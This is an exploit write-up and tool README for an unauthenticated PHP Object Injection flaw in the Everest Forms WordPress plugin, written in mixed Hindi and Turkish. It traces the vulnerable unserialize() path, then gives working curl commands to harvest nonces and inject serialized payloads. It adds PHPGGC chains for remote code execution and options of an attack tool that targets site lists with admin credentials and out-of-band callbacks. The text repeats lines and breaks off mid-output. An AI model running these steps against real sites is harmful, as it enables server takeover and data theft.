
CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 गंभीर, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।
CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 क्रिटिकल, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।
प्लगइन: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder प्लगइन स्लग:
everest-formsCVE ID: CVE-2026-3296 CVSS स्कोर: 9.8 (क्रिटिकल) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: बिना प्रमाणीकरण वाला PHP Object Injection → RCE प्रभावित संस्करण: <= 3.4.3 पैच किया गया संस्करण: 3.4.4 प्रकाशन तिथि: 7 अप्रैल 2026 शोधकर्ता: 0xsabre — Mobikwik / Wordfence
Everest Forms प्लगइन, फ़ॉर्म एंट्री मेटाडेटा को admin पैनल में
प्रदर्शित करते समय PHP के native unserialize() फ़ंक्शन को
allowed_classes पैरामीटर कॉल करता है।
एक बिना प्रमाणीकरण वाला हमलावर, किसी भी public फ़ॉर्म फ़ील्ड में
serialized PHP object payload डालकर उसे डेटाबेस में सहेज सकता है।
Admin पैनल से entry देखे जाने पर unserialize() ट्रिगर होता है
और वातावरण में मौजूद कोई भी POP gadget chain चल जाती है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-3296 |
| CVSS | 9.8 क्रिटिकल |
| प्रकार | PHP Object Injection (Deserialization of Untrusted Data) |
| प्रभावित संस्करण | <= 3.4.3 |
| पैच किया गया संस्करण | 3.4.4 |
| प्रमाणीकरण | आवश्यक नहीं (इंजेक्शन), Admin (ट्रिगर) |
| CWE | CWE-502: Deserialization of Untrusted Data |
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
यह payload sanitize_text_field() के बाद पूरी तरह संरक्षित रहता है:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
return $entry; स्टेटमेंट foreach लूप के अंदर है
→ केवल पहला फ़ील्ड sanitize किया जाता है, बाकी फ़ील्ड कच्चे (raw) रहते हैं।
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce CSRF सुरक्षा प्रदान करता है, प्रमाणीकरण नहीं। हमलावर फ़ॉर्म पेज को GET के साथ खोलकर nonce पढ़ता है, फिर POST के साथ payload भेजता है।
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
पूर्वापेक्षाएँ:
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
वास्तविक वातावरण के लिए PHPGGC के साथ POP chain उत्पन्न करें:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
अपेक्षित: फ़ॉर्म सफलता संदेश या रीडायरेक्ट।
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
पेज लोड होने पर unserialize() चलता है।
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
requests
python everest_forms_poi.py -u http://hedef.com --mode scan
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
| मोड | विवरण |
|---|---|
scan | Benign payload इंजेक्ट करें — भेद्यता का पता लगाना |
inject | केवल चरण 1 — payload संग्रहीत करें |
trigger | केवल चरण 2 — admin लॉगिन से ट्रिगर करें |
full | चरण 1 + चरण 2 — पूर्ण हमला |
| पैरामीटर | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड संख्या | 5 |
--output | -o | आउटपुट फ़ाइल | poi_results.txt |
--proxy | — | Proxy URL | — |
--force | — | प्लगइन पहचान विफल होने पर भी जारी रखें | False |
| पैरामीटर | विवरण | डिफ़ॉल्ट |
|---|---|---|
--form-id | CF7 form ID | स्वचालित पहचान |
--form-url | फ़ॉर्म पेज URL | स्वचालित पहचान |
--field-name | लक्ष्य फ़ील्ड नाम | स्वचालित पहचान |
--nonce | फ़ॉर्म nonce मान | स्वचालित निष्कर्षण |
--entry-id | Entry ID (trigger मोड) | स्वचालित पहचान |
| पैरामीटर | विवरण | डिफ़ॉल्ट |
|---|---|---|
--payload-type | Payload प्रकार | probe |
--custom-payload | कस्टम serialized string | — |
--cmd | RCE कमांड | id |
--callback-url | OOB callback URL | — |
| पैरामीटर | विवरण |
|---|---|
--admin-user | Admin उपयोगकर्ता नाम |
--admin-pass | Admin पासवर्ड |
| प्रकार | विवरण | उपयोग |
|---|---|---|
probe | Benign stdClass — कोई दुष्प्रभाव नहीं | भेद्यता का पता लगाना |
file_write | फ़ाइल लिखें (TestGadget) | टेस्ट वातावरण सत्यापन |
ssrf | HTTP callback — OOB पहचान | Burp Collaborator |
wp_rce | WordPress POP chain placeholder | PHPGGC के साथ उत्पन्न करें |
yoast_rce | Yoast SEO POP chain placeholder | PHPGGC के साथ उत्पन्न करें |
monolog_rce | Monolog POP chain placeholder | PHPGGC के साथ उत्पन्न करें |
💡 PHPGGC के साथ वास्तविक Chain उत्पन्न करना:
# WordPress/RCE1 phpggc WordPress/RCE1 system "id" -s # Monolog/RCE1 phpggc Monolog/RCE1 system "id" -s # Tüm mevcut chain'leri listele phpggc -l
| स्थिति | विवरण |
|---|---|
★ PWNED | Deserialization ट्रिगर हुआ + payload चला |
★ VULN | Payload इंजेक्ट किया गया — भेद्यता की पुष्टि हुई |
~ TRIGGERED | Entry देखी गई — gadget chain को मैनुअल सत्यापित करें |
- INJ_FAIL | इंजेक्शन विफल (पैच किया हुआ / कोई फ़ॉर्म नहीं) |
~ NO_FORM | Everest Forms फ़ॉर्म नहीं मिला |
- NO_PLUGIN | प्लगइन स्थापित नहीं है |
~ NO_CREDS | Admin क्रेडेंशियल अनुपलब्ध हैं |
- ADM_FAIL | Admin लॉगिन विफल |
~ UNREACH | लक्ष्य तक नहीं पहुंचा जा सकता |
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser